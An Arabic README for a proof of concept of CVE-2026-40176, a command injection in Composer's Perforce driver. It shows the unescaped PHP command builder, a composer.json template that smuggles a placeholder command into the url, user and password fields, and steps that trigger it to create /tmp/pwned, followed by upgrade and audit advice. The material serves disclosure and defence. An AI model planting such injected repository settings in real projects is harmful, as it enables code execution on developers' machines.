
إثبات مفهوم يوضح حقن الأوامر في مشغّل Perforce الخاص بـ Composer (CVE-2026-40176)، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر تكوين مستودع مُصمَّم خصيصًا.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-40176 |
| الإصدارات المتأثرة | Composer < 2.2.27 |
| نوع الثغرة | حقن أوامر (Command Injection) |
| متجه الهجوم | إعداد مستودع خبيث |
| التأثير | تنفيذ أكواد عشوائية |
| درجة CVSS | عالية/حرجة |
توجد الثغرة في طريقة معالجة Composer عندما يكون النوع perforce. لا يتم تعقيم المعامل بشكل صحيح قبل تمريره إلى أوامر الصدفة، مما يسمح للمهاجمين بحقن أوامر نظام عشوائية.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
لم يتم تخطي كل ذلك بشكل صحيح، مما يسمح للمهاجم بحقن أوامر من خلال إنشاء حمولة خبيثة لجميع الحقول ذات النوع perforce.
نمط الكود القابل للاستغلال:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
يحتوي هذا المستودع على إثبات مفهوم عملي يوضح الثغرة.
CVE-2026-40176/
├── composer.json # إعداد مستودع Perforce الخبيث
├── vuln-composer.phar # Composer 2.2.26 (قابل للاستغلال)
├── patched-composer.phar # Composer 2.2.27 (مُصحح)
└── README.md # هذا الملف
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Output: Composer version 2.2.26
php patched-composer.phar --version
# Output: Composer version 2.2.27
php vuln-composer.phar install
# OR
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# يجب ألا يوجد الملف (تم إصلاح الثغرة)
قم بترقية Composer إلى الإصدار 2.2.27 أو أحدث:
composer self-update --2.2.27
# OR
wget https://getcomposer.org/download/2.2.27/composer.phar
راجع جميع ملفات composer.json بحثًا عن إعدادات مستودعات غير معروفة أو مشبوهة
دقق سلسلة التوريد - تحقق مما إذا كانت أي تبعيات تشير إلى مستودعات غير موثوقة
# تحقق من إصدار Composer لديك
composer --version
# ابحث عن مستودعات Perforce في مشاريعك
grep -r "perforce" */composer.json